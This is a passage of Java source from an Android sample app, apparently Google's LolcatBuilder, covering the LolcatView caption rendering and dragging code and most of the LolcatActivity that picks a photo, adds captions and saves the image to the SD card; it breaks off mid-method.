(BitmapDrawable) getDrawable(); Log.i(TAG, "===> current drawable: " + drawable); Bitmap fullSizeBitmap = drawable.getBitmap(); Log.i(TAG, "===> fullSizeBitmap: " + fullSizeBitmap + " dimensions: " + fullSizeBitmap.getWidth() + " x " + fullSizeBitmap.getHeight()); Bitmap.Config config = fullSizeBitmap.getConfig(); Log.i(TAG, " - config = " + config); // Standard lolcat size is 500x375. But we don't want to distort // the image if it isn't 4x3, so let's just set the larger // dimension to 500 pixels and preserve the source aspect ratio. float origWidth = fullSizeBitmap.getWidth(); float origHeight = fullSizeBitmap.getHeight(); float aspect = origWidth / origHeight; Log.i(TAG, " - aspect = " + aspect + "(" + origWidth + " x " + origHeight + ")"); float scaleFactor = ((aspect > 1.0) ? origWidth : origHeight) / SCALED_IMAGE_MAX_DIMENSION; int scaledWidth = Math.round(origWidth / scaleFactor); int scaledHeight = Math.round(origHeight / scaleFactor); mScaledBitmap = Bitmap.createScaledBitmap(fullSizeBitmap, scaledWidth, scaledHeight, true /* filter */); Log.i(TAG, " ===> mScaledBitmap: " + mScaledBitmap + " dimensions: " + mScaledBitmap.getWidth() + " x " + mScaledBitmap.getHeight()); Log.i(TAG, " isMutable = " + mScaledBitmap.isMutable()); } /** * Sets the captions for this LolcatView. */ public void setCaptions(String topCaption, String bottomCaption) { Log.i(TAG, "setCaptions: '" + topCaption + "', '" + bottomCaption + "'"); if (topCaption == null) topCaption = ""; if (bottomCaption == null) bottomCaption = ""; mCaptions[0].caption = topCaption; mCaptions[1].caption = bottomCaption; // If the user clears a caption, reset its position (so that it'll // come back in the default position if the user re-adds it.) if (TextUtils.isEmpty(mCaptions[0].caption)) { Log.i(TAG, "- invalidating position of caption 0..."); mCaptions[0].positionValid = false; } if (TextUtils.isEmpty(mCaptions[1].caption)) { Log.i(TAG, "- invalidating position of caption 1..."); mCaptions[1].positionValid = false; } // And *any* time the captions change, blow away the cached // caption bounding boxes to make sure we'll recompute them in // renderCaptions(). mCaptions[0].captionBoundingBox = null; mCaptions[1].captionBoundingBox = null; renderCaptions(mCaptions); } /** * Clears the captions for this LolcatView. */ public void clearCaptions() { setCaptions("", ""); } /** * Renders this LolcatView's current image captions into our * underlying ImageView. * * We start with a scaled-down version of the photo originally chosed * by the user (mScaledBitmap), make a mutable copy (mWorkingBitmap), * render the specified strings into the bitmap, and show the * resulting image onscreen. */ public void renderCaptions(Caption[] captions) { // TODO: handle an arbitrary array of strings, rather than // assuming "top" and "bottom" captions. String topString = captions[0].caption; boolean topStringValid = !TextUtils.isEmpty(topString); String bottomString = captions[1].caption; boolean bottomStringValid = !TextUtils.isEmpty(bottomString); Log.i(TAG, "renderCaptions: '" + topString + "', '" + bottomString + "'"); if (mScaledBitmap == null) return; // Make a fresh (mutable) copy of the scaled-down photo Bitmap, // and render the desired text into it. Bitmap.Config config = mScaledBitmap.getConfig(); Log.i(TAG, " - mScaledBitmap config = " + config); mWorkingBitmap = mScaledBitmap.copy(config, true /* isMutable */); Log.i(TAG, " ===> mWorkingBitmap: " + mWorkingBitmap + " dimensions: " + mWorkingBitmap.getWidth() + " x " + mWorkingBitmap.getHeight()); Log.i(TAG, " isMutable = " + mWorkingBitmap.isMutable()); Canvas canvas = new Canvas(mWorkingBitmap); Log.i(TAG, "- Canvas: " + canvas + " dimensions: " + canvas.getWidth() + " x " + canvas.getHeight()); Paint textPaint = new Paint(); textPaint.setAntiAlias(true); textPaint.setTextSize(FONT_SIZE); textPaint.setColor(0xFFFFFFFF); Log.i(TAG, "- Paint: " + textPaint); Typeface face = textPaint.getTypeface(); Log.i(TAG, "- default typeface: " + face); // The most standard font for lolcat captions is Impact. (Arial // Black is also common.) Unfortunately we don't have either of // these on the device by default; the closest we can do is // DroidSans-Bold: face = Typeface.DEFAULT_BOLD; Log.i(TAG, "- new face: " + face); textPaint.setTypeface(face); // Look up the positions of the captions, or if this is our very // first time rendering them, initialize the positions to default // values. final int edgeBorder = 20; final int fontHeight = textPaint.getFontMetricsInt(null); Log.i(TAG, "- fontHeight: " + fontHeight); Log.i(TAG, "- Caption positioning:"); int topX = 0; int topY = 0; if (topStringValid) { if (mCaptions[0].positionValid) { topX = mCaptions[0].xpos; topY = mCaptions[0].ypos; Log.i(TAG, " - TOP: already had a valid position: " + topX + ", " + topY); } else { // Start off with the "top" caption at the upper-left: topX = edgeBorder; topY = edgeBorder + (fontHeight * 3 / 4); mCaptions[0].setPosition(topX, topY); Log.i(TAG, " - TOP: initializing to default position: " + topX + ", " + topY); } } int bottomX = 0; int bottomY = 0; if (bottomStringValid) { if (mCaptions[1].positionValid) { bottomX = mCaptions[1].xpos; bottomY = mCaptions[1].ypos; Log.i(TAG, " - Bottom: already had a valid position: " + bottomX + ", " + bottomY); } else { // Start off with the "bottom" caption at the lower-right: final int bottomTextWidth = (int) textPaint.measureText(bottomString); Log.i(TAG, "- bottomTextWidth (" + bottomString + "): " + bottomTextWidth); bottomX = canvas.getWidth() - edgeBorder - bottomTextWidth; bottomY = canvas.getHeight() - edgeBorder; mCaptions[1].setPosition(bottomX, bottomY); Log.i(TAG, " - BOTTOM: initializing to default position: " + bottomX + ", " + bottomY); } } // Finally, render the text. // Standard lolcat captions are drawn in white with a heavy black // outline (i.e. white fill, black stroke). Our Canvas APIs can't // do this exactly, though. // We *could* get something decent-looking using a regular // drop-shadow, like this: // textPaint.setShadowLayer(3.0f, 3, 3, 0xff000000); // but instead let's simulate the "outline" style by drawing the // text 4 separate times, with the shadow in a different direction // each time. // (TODO: This is a hack, and still doesn't look as good // as a real "white fill, black stroke" style.) final float shadowRadius = 2.0f; final int shadowOffset = 2; final int shadowColor = 0xff000000; // TODO: Right now we use offsets of 2,2 / -2,2 / 2,-2 / -2,-2 . // But 2,0 / 0,2 / -2,0 / 0,-2 might look better. textPaint.setShadowLayer(shadowRadius, shadowOffset, shadowOffset, shadowColor); if (topStringValid) canvas.drawText(topString, topX, topY, textPaint); if (bottomStringValid) canvas.drawText(bottomString, bottomX, bottomY, textPaint); // textPaint.setShadowLayer(shadowRadius, -shadowOffset, shadowOffset, shadowColor); if (topStringValid) canvas.drawText(topString, topX, topY, textPaint); if (bottomStringValid) canvas.drawText(bottomString, bottomX, bottomY, textPaint); // textPaint.setShadowLayer(shadowRadius, shadowOffset, -shadowOffset, shadowColor); if (topStringValid) canvas.drawText(topString, topX, topY, textPaint); if (bottomStringValid) canvas.drawText(bottomString, bottomX, bottomY, textPaint); // textPaint.setShadowLayer(shadowRadius, -shadowOffset, -shadowOffset, shadowColor); if (topStringValid) canvas.drawText(topString, topX, topY, textPaint); if (bottomStringValid) canvas.drawText(bottomString, bottomX, bottomY, textPaint); // Stash away bounding boxes for the captions if this // is our first time rendering them. // Watch out: the x/y position we use for drawing the text is // actually the *lower* left corner of the bounding box... int textWidth, textHeight; if (topStringValid && mCaptions[0].captionBoundingBox == null) { Log.i(TAG, "- Computing initial bounding box for top caption..."); textPaint.getTextBounds(topString, 0, topString.length(), mTmpRect); textWidth = mTmpRect.width(); textHeight = mTmpRect.height(); Log.i(TAG, "- text dimensions: " + textWidth + " x " + textHeight); mCaptions[0].captionBoundingBox = new Rect(topX, topY - textHeight, topX + textWidth, topY); Log.i(TAG, "- RESULTING RECT: " + mCaptions[0].captionBoundingBox); } if (bottomStringValid && mCaptions[1].captionBoundingBox == null) { Log.i(TAG, "- Computing initial bounding box for bottom caption..."); textPaint.getTextBounds(bottomString, 0, bottomString.length(), mTmpRect); textWidth = mTmpRect.width(); textHeight = mTmpRect.height(); Log.i(TAG, "- text dimensions: " + textWidth + " x " + textHeight); mCaptions[1].captionBoundingBox = new Rect(bottomX, bottomY - textHeight, bottomX + textWidth, bottomY); Log.i(TAG, "- RESULTING RECT: " + mCaptions[1].captionBoundingBox); } // Finally, display the new Bitmap to the user: setImageBitmap(mWorkingBitmap); } @Override protected void onDraw(Canvas canvas) { Log.i(TAG, "onDraw: " + canvas); super.onDraw(canvas); if (mDragging) { Log.i(TAG, "- dragging! Drawing box at " + mCurrentDragBox); // mCurrentDragBox is in the coordinate system of our bitmap; // need to convert it into the coordinate system of the // overall LolcatView. // // To transform between coordinate systems we need to apply the // transformation described by the ImageView's matrix *and* also // account for our left and top padding. Matrix m = getImageMatrix(); mCurrentDragBoxF.set(mCurrentDragBox); m.mapRect(mTransformedDragBoxF, mCurrentDragBoxF); mTransformedDragBoxF.offset(getPaddingLeft(), getPaddingTop()); Paint p = new Paint(); p.setColor(0xFFFFFFFF); p.setStyle(Paint.Style.STROKE); p.setStrokeWidth(2f); Log.i(TAG, "- Paint: " + p); canvas.drawRect(mTransformedDragBoxF, p); } } @Override public boolean onTouchEvent(MotionEvent ev) { Log.i(TAG, "onTouchEvent: " + ev); // Watch out: ev.getX() and ev.getY() are in the // coordinate system of the entire LolcatView, although // all the positions and rects we use here (like // mCaptions[].captionBoundingBox) are relative to the bitmap // that's drawn inside the LolcatView. // // To transform between coordinate systems we need to apply the // transformation described by the ImageView's matrix *and* also // account for our left and top padding. Matrix m = getImageMatrix(); Matrix invertedMatrix = new Matrix(); m.invert(invertedMatrix); float[] pointArray = new float[] { ev.getX() - getPaddingLeft(), ev.getY() - getPaddingTop() }; Log.i(TAG, " - BEFORE: pointArray = " + pointArray[0] + ", " + pointArray[1]); // Transform the X/Y position of the DOWN event back into bitmap coords invertedMatrix.mapPoints(pointArray); Log.i(TAG, " - AFTER: pointArray = " + pointArray[0] + ", " + pointArray[1]); int eventX = (int) pointArray[0]; int eventY = (int) pointArray[1]; int action = ev.getAction(); switch (action) { case MotionEvent.ACTION_DOWN: if (mDragging) { Log.w(TAG, "Got an ACTION_DOWN, but we were already dragging!"); mDragging = false; // and continue as if we weren't already dragging... } if (!hasValidCaption()) { Log.w(TAG, "No caption(s) yet; ignoring this ACTION_DOWN event."); return true; } // See if this DOWN event hit one of the caption bounding // boxes. If so, start dragging! for (int i = 0; i < mCaptions.length; i++) { Rect boundingBox = mCaptions[i].captionBoundingBox; Log.i(TAG, " - boundingBox #" + i + ": " + boundingBox + "..."); if (boundingBox != null) { // Expand the bounding box by a fudge factor to make it // easier to hit (since touch accuracy is pretty poor on a // real device, and the captions are fairly small...) mTmpRect.set(boundingBox); final int touchPositionSlop = 40; // pixels mTmpRect.inset(-touchPositionSlop, -touchPositionSlop); Log.i(TAG, " - Checking expanded bounding box #" + i + ": " + mTmpRect + "..."); if (mTmpRect.contains(eventX, eventY)) { Log.i(TAG, " - Hit! " + mCaptions[i]); mDragging = true; mDragCaptionIndex = i; break; } } } if (!mDragging) { Log.i(TAG, "- ACTION_DOWN event didn't hit any captions; ignoring."); return true; } mTouchDownX = eventX; mTouchDownY = eventY; mInitialDragBox.set(mCaptions[mDragCaptionIndex].captionBoundingBox); mCurrentDragBox.set(mCaptions[mDragCaptionIndex].captionBoundingBox); invalidate(); return true; case MotionEvent.ACTION_MOVE: if (!mDragging) { return true; } int displacementX = eventX - mTouchDownX; int displacementY = eventY - mTouchDownY; mCurrentDragBox.set(mInitialDragBox); mCurrentDragBox.offset(displacementX, displacementY); invalidate(); return true; case MotionEvent.ACTION_UP: if (!mDragging) { return true; } mDragging = false; // Reposition the selected caption! Log.i(TAG, "- Done dragging! Repositioning caption #" + mDragCaptionIndex + ": " + mCaptions[mDragCaptionIndex]); int offsetX = eventX - mTouchDownX; int offsetY = eventY - mTouchDownY; Log.i(TAG, " - OFFSET: " + offsetX + ", " + offsetY); // Reposition the the caption we just dragged, and blow // away the cached bounding box to make sure it'll get // recomputed in renderCaptions(). mCaptions[mDragCaptionIndex].xpos += offsetX; mCaptions[mDragCaptionIndex].ypos += offsetY; mCaptions[mDragCaptionIndex].captionBoundingBox = null; Log.i(TAG, " - Updated caption: " + mCaptions[mDragCaptionIndex]); // Finally, refresh the screen. renderCaptions(mCaptions); return true; // This case isn't expected to happen. case MotionEvent.ACTION_CANCEL: if (!mDragging) { return true; } mDragging = false; // Refresh the screen. renderCaptions(mCaptions); return true; default: return super.onTouchEvent(ev); } } /** * Returns an array containing the xpos/ypos of each Caption in our * array of captions. (This method and setCaptionPositions() are used * by LolcatActivity to save and restore the activity state across * orientation changes.) */ public int[] getCaptionPositions() { // TODO: mCaptions currently has a hardcoded length of 2 (for // "top" and "bottom" captions). int[] captionPositions = new int[4]; if (mCaptions[0].positionValid) { captionPositions[0] = mCaptions[0].xpos; captionPositions[1] = mCaptions[0].ypos; } else { captionPositions[0] = -1; captionPositions[1] = -1; } if (mCaptions[1].positionValid) { captionPositions[2] = mCaptions[1].xpos; captionPositions[3] = mCaptions[1].ypos; } else { captionPositions[2] = -1; captionPositions[3] = -1; } Log.i(TAG, "getCaptionPositions: returning " + captionPositions); return captionPositions; } /** * Sets the xpos and ypos values of each Caption in our array based on * the specified values. (This method and getCaptionPositions() are * used by LolcatActivity to save and restore the activity state * across orientation changes.) */ public void setCaptionPositions(int[] captionPositions) { // TODO: mCaptions currently has a hardcoded length of 2 (for // "top" and "bottom" captions). Log.i(TAG, "setCaptionPositions(" + captionPositions + ")..."); if (captionPositions[0] < 0) { mCaptions[0].positionValid = false; Log.i(TAG, "- TOP caption: no valid position"); } else { mCaptions[0].setPosition(captionPositions[0], captionPositions[1]); Log.i(TAG, "- TOP caption: got valid position: " + mCaptions[0].xpos + ", " + mCaptions[0].ypos); } if (captionPositions[2] < 0) { mCaptions[1].positionValid = false; Log.i(TAG, "- BOTTOM caption: no valid position"); } else { mCaptions[1].setPosition(captionPositions[2], captionPositions[3]); Log.i(TAG, "- BOTTOM caption: got valid position: " + mCaptions[1].xpos + ", " + mCaptions[1].ypos); } // Finally, refresh the screen. renderCaptions(mCaptions); } /** * Structure used to hold the entire state of a single caption. */ class Caption { public String caption; public Rect captionBoundingBox; // updated by renderCaptions() public int xpos, ypos; public boolean positionValid; public void setPosition(int x, int y) { positionValid = true; xpos = x; ypos = y; // Also blow away the cached bounding box, to make sure it'll // get recomputed in renderCaptions(). captionBoundingBox = null; } @Override public String toString() { return "Caption['" + caption + "'; bbox " + captionBoundingBox + "; pos " + xpos + ", " + ypos + "; posValid = " + positionValid + "]"; } } }
zzhangumd-apps-for-android
LolcatBuilder/src/com/android/lolcat/LolcatView.java
Java
asf20
25,915
/* * Copyright (C) 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.lolcat; import android.app.Activity; import android.app.AlertDialog; import android.app.Dialog; import android.app.ProgressDialog; import android.content.DialogInterface; import android.content.Intent; import android.graphics.Bitmap; import android.graphics.drawable.Drawable; import android.media.MediaScannerConnection; import android.net.Uri; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.text.TextUtils; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; /** * Lolcat builder activity. * * Instructions: * (1) Take photo of cat using Camera * (2) Run LolcatActivity * (3) Pick photo * (4) Add caption(s) * (5) Save and share * * See README.txt for a list of currently-missing features and known bugs. */ public class LolcatActivity extends Activity implements View.OnClickListener { private static final String TAG = "LolcatActivity"; // Location on the SD card for saving lolcat images private static final String LOLCAT_SAVE_DIRECTORY = "lolcats/"; // Mime type / format / extension we use (must be self-consistent!) private static final String SAVED_IMAGE_EXTENSION = ".png"; private static final Bitmap.CompressFormat SAVED_IMAGE_COMPRESS_FORMAT = Bitmap.CompressFormat.PNG; private static final String SAVED_IMAGE_MIME_TYPE = "image/png"; // UI Elements private Button mPickButton; private Button mCaptionButton; private Button mSaveButton; private Button mClearCaptionButton; private Button mClearPhotoButton; private LolcatView mLolcatView; private AlertDialog mCaptionDialog; private ProgressDialog mSaveProgressDialog; private AlertDialog mSaveSuccessDialog; private Handler mHandler; private Uri mPhotoUri; private String mSavedImageFilename; private Uri mSavedImageUri; private MediaScannerConnection mMediaScannerConnection; // Request codes used with startActivityForResult() private static final int PHOTO_PICKED = 1; // Dialog IDs private static final int DIALOG_CAPTION = 1; private static final int DIALOG_SAVE_PROGRESS = 2; private static final int DIALOG_SAVE_SUCCESS = 3; // Keys used with onSaveInstanceState() private static final String PHOTO_URI_KEY = "photo_uri"; private static final String SAVED_IMAGE_FILENAME_KEY = "saved_image_filename"; private static final String SAVED_IMAGE_URI_KEY = "saved_image_uri"; private static final String TOP_CAPTION_KEY = "top_caption"; private static final String BOTTOM_CAPTION_KEY = "bottom_caption"; private static final String CAPTION_POSITIONS_KEY = "caption_positions"; @Override protected void onCreate(Bundle icicle) { Log.i(TAG, "onCreate()... icicle = " + icicle); super.onCreate(icicle); setContentView(R.layout.lolcat_activity); // Look up various UI elements mPickButton = (Button) findViewById(R.id.pick_button); mPickButton.setOnClickListener(this); mCaptionButton = (Button) findViewById(R.id.caption_button); mCaptionButton.setOnClickListener(this); mSaveButton = (Button) findViewById(R.id.save_button); mSaveButton.setOnClickListener(this); mClearCaptionButton = (Button) findViewById(R.id.clear_caption_button); // This button doesn't exist in portrait mode. if (mClearCaptionButton != null) mClearCaptionButton.setOnClickListener(this); mClearPhotoButton = (Button) findViewById(R.id.clear_photo_button); mClearPhotoButton.setOnClickListener(this); mLolcatView = (LolcatView) findViewById(R.id.main_image); // Need one of these to call back to the UI thread // (and run AlertDialog.show(), for that matter) mHandler = new Handler(); mMediaScannerConnection = new MediaScannerConnection(this, mMediaScanConnClient); if (icicle != null) { Log.i(TAG, "- reloading state from icicle!"); restoreStateFromIcicle(icicle); } } @Override protected void onResume() { Log.i(TAG, "onResume()..."); super.onResume(); updateButtons(); } @Override protected void onSaveInstanceState(Bundle outState) { Log.i(TAG, "onSaveInstanceState()..."); super.onSaveInstanceState(outState); // State from the Activity: outState.putParcelable(PHOTO_URI_KEY, mPhotoUri); outState.putString(SAVED_IMAGE_FILENAME_KEY, mSavedImageFilename); outState.putParcelable(SAVED_IMAGE_URI_KEY, mSavedImageUri); // State from the LolcatView: // (TODO: Consider making Caption objects, or even the LolcatView // itself, Parcelable? Probably overkill, though...) outState.putString(TOP_CAPTION_KEY, mLolcatView.getTopCaption()); outState.putString(BOTTOM_CAPTION_KEY, mLolcatView.getBottomCaption()); outState.putIntArray(CAPTION_POSITIONS_KEY, mLolcatView.getCaptionPositions()); } /** * Restores the activity state from the specified icicle. * @see onCreate() * @see onSaveInstanceState() */ private void restoreStateFromIcicle(Bundle icicle) { Log.i(TAG, "restoreStateFromIcicle()..."); // State of the Activity: Uri photoUri = icicle.getParcelable(PHOTO_URI_KEY); Log.i(TAG, " - photoUri: " + photoUri); if (photoUri != null) { loadPhoto(photoUri); } mSavedImageFilename = icicle.getString(SAVED_IMAGE_FILENAME_KEY); mSavedImageUri = icicle.getParcelable(SAVED_IMAGE_URI_KEY); // State of the LolcatView: String topCaption = icicle.getString(TOP_CAPTION_KEY); String bottomCaption = icicle.getString(BOTTOM_CAPTION_KEY); int[] captionPositions = icicle.getIntArray(CAPTION_POSITIONS_KEY); Log.i(TAG, " - captions: '" + topCaption + "', '" + bottomCaption + "'"); if (!TextUtils.isEmpty(topCaption) || !TextUtils.isEmpty(bottomCaption)) { mLolcatView.setCaptions(topCaption, bottomCaption); mLolcatView.setCaptionPositions(captionPositions); } } @Override protected void onDestroy() { Log.i(TAG, "onDestroy()..."); super.onDestroy(); clearPhoto(); // Free up some resources, and force a GC } // View.OnClickListener implementation public void onClick(View view) { int id = view.getId(); Log.i(TAG, "onClick(View " + view + ", id " + id + ")..."); switch (id) { case R.id.pick_button: Log.i(TAG, "onClick: pick_button..."); Intent intent = new Intent(Intent.ACTION_GET_CONTENT, null); intent.setType("image/*"); // Note: we could have the "crop" UI come up here by // default by doing this: // intent.putExtra("crop", "true"); // (But watch out: if you do that, the Intent that comes // back to onActivityResult() will have the URI (of the // cropped image) in the "action" field, not the "data" // field!) startActivityForResult(intent, PHOTO_PICKED); break; case R.id.caption_button: Log.i(TAG, "onClick: caption_button..."); showCaptionDialog(); break; case R.id.save_button: Log.i(TAG, "onClick: save_button..."); saveImage(); break; case R.id.clear_caption_button: Log.i(TAG, "onClick: clear_caption_button..."); clearCaptions(); updateButtons(); break; case R.id.clear_photo_button: Log.i(TAG, "onClick: clear_photo_button..."); clearPhoto(); // Also does clearCaptions() updateButtons(); break; default: Log.w(TAG, "Click from unexpected source: " + view + ", id " + id); break; } } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { Log.i(TAG, "onActivityResult(request " + requestCode + ", result " + resultCode + ", data " + data + ")..."); if (resultCode != RESULT_OK) { Log.i(TAG, "==> result " + resultCode + " from subactivity! Ignoring..."); Toast t = Toast.makeText(this, R.string.lolcat_nothing_picked, Toast.LENGTH_SHORT); t.show(); return; } if (requestCode == PHOTO_PICKED) { // "data" is an Intent containing (presumably) a URI like // "content://media/external/images/media/3". if (data == null) { Log.w(TAG, "Null data, but RESULT_OK, from image picker!"); Toast t = Toast.makeText(this, R.string.lolcat_nothing_picked, Toast.LENGTH_SHORT); t.show(); return; } if (data.getData() == null) { Log.w(TAG, "'data' intent from image picker contained no data!"); Toast t = Toast.makeText(this, R.string.lolcat_nothing_picked, Toast.LENGTH_SHORT); t.show(); return; } loadPhoto(data.getData()); updateButtons(); } } /** * Updates the enabled/disabled state of the onscreen buttons. */ private void updateButtons() { Log.i(TAG, "updateButtons()..."); // mPickButton is always enabled. // Do we have a valid photo and/or caption(s) yet? Drawable d = mLolcatView.getDrawable(); // Log.i(TAG, "===> current mLolcatView drawable: " + d); boolean validPhoto = (d != null); boolean validCaption = mLolcatView.hasValidCaption(); mCaptionButton.setText(validCaption ? R.string.lolcat_change_captions : R.string.lolcat_add_captions); mCaptionButton.setEnabled(validPhoto); mSaveButton.setEnabled(validPhoto && validCaption); if (mClearCaptionButton != null) { mClearCaptionButton.setEnabled(validPhoto && validCaption); } mClearPhotoButton.setEnabled(validPhoto); } /** * Clears out any already-entered captions for this lolcat. */ private void clearCaptions() { mLolcatView.clearCaptions(); // Clear the text fields in the caption dialog too. if (mCaptionDialog != null) { EditText topText = (EditText) mCaptionDialog.findViewById(R.id.top_edittext); topText.setText(""); EditText bottomText = (EditText) mCaptionDialog.findViewById(R.id.bottom_edittext); bottomText.setText(""); topText.requestFocus(); } // This also invalidates any image we've previously written to the // SD card... mSavedImageFilename = null; mSavedImageUri = null; } /** * Completely resets the UI to its initial state, with no photo * loaded, and no captions. */ private void clearPhoto() { mLolcatView.clear(); mPhotoUri = null; mSavedImageFilename = null; mSavedImageUri = null; clearCaptions(); // Force a gc (to be sure to reclaim the memory used by our // potentially huge bitmap): System.gc(); } /** * Loads the image with the specified Uri into the UI. */ private void loadPhoto(Uri uri) { Log.i(TAG, "loadPhoto: uri = " + uri); clearPhoto(); // Be sure to release the previous bitmap // before creating another one mPhotoUri = uri; // A new photo always starts out uncaptioned. clearCaptions(); // Load the selected photo into our ImageView. mLolcatView.loadFromUri(mPhotoUri); } private void showCaptionDialog() { // If the dialog already exists, always reset focus to the top // item each time it comes up. if (mCaptionDialog != null) { EditText topText = (EditText) mCaptionDialog.findViewById(R.id.top_edittext); topText.requestFocus(); } showDialog(DIALOG_CAPTION); } private void showSaveSuccessDialog() { // If the dialog already exists, update the body text based on the // current values of mSavedImageFilename and mSavedImageUri // (otherwise the dialog will still have the body text from when // it was first created!) if (mSaveSuccessDialog != null) { updateSaveSuccessDialogBody(); } showDialog(DIALOG_SAVE_SUCCESS); } private void updateSaveSuccessDialogBody() { if (mSaveSuccessDialog == null) { throw new IllegalStateException( "updateSaveSuccessDialogBody: mSaveSuccessDialog hasn't been created yet"); } String dialogBody = String.format( getResources().getString(R.string.lolcat_save_succeeded_dialog_body_format), mSavedImageFilename, mSavedImageUri); mSaveSuccessDialog.setMessage(dialogBody); } @Override protected Dialog onCreateDialog(int id) { Log.i(TAG, "onCreateDialog(id " + id + ")..."); // This is only run once (per dialog), the very first time // a given dialog needs to be shown. switch (id) { case DIALOG_CAPTION: LayoutInflater factory = LayoutInflater.from(this); final View textEntryView = factory.inflate(R.layout.lolcat_caption_dialog, null); mCaptionDialog = new AlertDialog.Builder(this) .setTitle(R.string.lolcat_caption_dialog_title) .setIcon(0) .setView(textEntryView) .setPositiveButton( R.string.lolcat_caption_dialog_ok, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { Log.i(TAG, "Caption dialog: OK..."); updateCaptionsFromDialog(); } }) .setNegativeButton( R.string.lolcat_caption_dialog_cancel, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { Log.i(TAG, "Caption dialog: CANCEL..."); // Nothing to do here (for now at least) } }) .create(); return mCaptionDialog; case DIALOG_SAVE_PROGRESS: mSaveProgressDialog = new ProgressDialog(this); mSaveProgressDialog.setMessage(getResources().getString(R.string.lolcat_saving)); mSaveProgressDialog.setIndeterminate(true); mSaveProgressDialog.setCancelable(false); return mSaveProgressDialog; case DIALOG_SAVE_SUCCESS: mSaveSuccessDialog = new AlertDialog.Builder(this) .setTitle(R.string.lolcat_save_succeeded_dialog_title) .setIcon(0) .setPositiveButton( R.string.lolcat_save_succeeded_dialog_view, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { Log.i(TAG, "Save dialog: View..."); viewSavedImage(); } }) .setNeutralButton( R.string.lolcat_save_succeeded_dialog_share, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { Log.i(TAG, "Save dialog: Share..."); shareSavedImage(); } }) .setNegativeButton( R.string.lolcat_save_succeeded_dialog_cancel, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { Log.i(TAG, "Save dialog: CANCEL..."); // Nothing to do here... } }) .create(); updateSaveSuccessDialogBody(); return mSaveSuccessDialog; default: Log.w(TAG, "Request for unexpected dialog id: " + id); break; } return null; } private void updateCaptionsFromDialog() { Log.i(TAG, "updateCaptionsFromDialog()..."); if (mCaptionDialog == null) { Log.w(TAG, "updateCaptionsFromDialog: null mCaptionDialog!"); return; } // Get the two caption strings: EditText topText = (EditText) mCaptionDialog.findViewById(R.id.top_edittext); Log.i(TAG, "- Top editText: " + topText); String topString = topText.getText().toString(); Log.i(TAG, " - String: '" + topString + "'"); EditText bottomText = (EditText) mCaptionDialog.findViewById(R.id.bottom_edittext); Log.i(TAG, "- Bottom editText: " + bottomText); String bottomString = bottomText.getText().toString(); Log.i(TAG, " - String: '" + bottomString + "'"); mLolcatView.setCaptions(topString, bottomString); updateButtons(); } /** * Kicks off the process of saving the LolcatView's working Bitmap to * the SD card, in preparation for viewing it later and/or sharing it. */ private void saveImage() { Log.i(TAG, "saveImage()..."); // First of all, bring up a progress dialog. showDialog(DIALOG_SAVE_PROGRESS); // We now need to save the bitmap to the SD card, and then ask the // MediaScanner to scan it. Do the actual work of all this in a // helper thread, since it's fairly slow (and will occasionally // ANR if we do it here in the UI thread.) Thread t = new Thread() { public void run() { Log.i(TAG, "Running worker thread..."); saveImageInternal(); } }; t.start(); // Next steps: // - saveImageInternal() // - onMediaScannerConnected() // - onScanCompleted } /** * Saves the LolcatView's working Bitmap to the SD card, in * preparation for viewing it later and/or sharing it. * * The bitmap will be saved as a new file in the directory * LOLCAT_SAVE_DIRECTORY, with an automatically-generated filename * based on the current time. It also connects to the * MediaScanner service, since we'll need to scan that new file (in * order to get a Uri we can then VIEW or share.) * * This method is run in a worker thread; @see saveImage(). */ private void saveImageInternal() { Log.i(TAG, "saveImageInternal()..."); // TODO: Currently we save the bitmap to a file on the sdcard, // then ask the MediaScanner to scan it (which gives us a Uri we // can then do an ACTION_VIEW on.) But rather than doing these // separate steps, maybe there's some easy way (given an // OutputStream) to directly talk to the MediaProvider // (i.e. com.android.provider.MediaStore) and say "here's an // image, please save it somwhere and return the URI to me"... // Save the bitmap to a file on the sdcard. // (Based on similar code in MusicUtils.java.) // TODO: Make this filename more human-readable? Maybe "Lolcat-YYYY-MM-DD-HHMMSS.png"? String filename = Environment.getExternalStorageDirectory() + "/" + LOLCAT_SAVE_DIRECTORY + String.valueOf(System.currentTimeMillis() + SAVED_IMAGE_EXTENSION); Log.i(TAG, "- filename: '" + filename + "'"); if (ensureFileExists(filename)) { try { OutputStream outstream = new FileOutputStream(filename); Bitmap bitmap = mLolcatView.getWorkingBitmap(); boolean success = bitmap.compress(SAVED_IMAGE_COMPRESS_FORMAT, 100, outstream); Log.i(TAG, "- success code from Bitmap.compress: " + success); outstream.close(); if (success) { Log.i(TAG, "- Saved! filename = " + filename); mSavedImageFilename = filename; // Ok, now we need to get the MediaScanner to scan the // file we just wrote. Step 1 is to get our // MediaScannerConnection object to connect to the // MediaScanner service. mMediaScannerConnection.connect(); // See onMediaScannerConnected() for the next step } else { Log.w(TAG, "Bitmap.compress failed: bitmap " + bitmap + ", filename '" + filename + "'"); onSaveFailed(R.string.lolcat_save_failed); } } catch (FileNotFoundException e) { Log.w(TAG, "error creating file", e); onSaveFailed(R.string.lolcat_save_failed); } catch (IOException e) { Log.w(TAG, "error creating file", e); onSaveFailed(R.string.lolcat_save_failed); } } else { Log.w(TAG, "ensureFileExists failed for filename '" + filename + "'"); onSaveFailed(R.string.lolcat_save_failed); } } // // MediaScanner-related code // /** * android.media.MediaScannerConnection.MediaScannerConnectionClient implementation. */ private MediaScannerConnection.MediaScannerConnectionClient mMediaScanConnClient = new MediaScannerConnection.MediaScannerConnectionClient() { /** * Called when a connection to the MediaScanner service has been established. */ public void onMediaScannerConnected() { 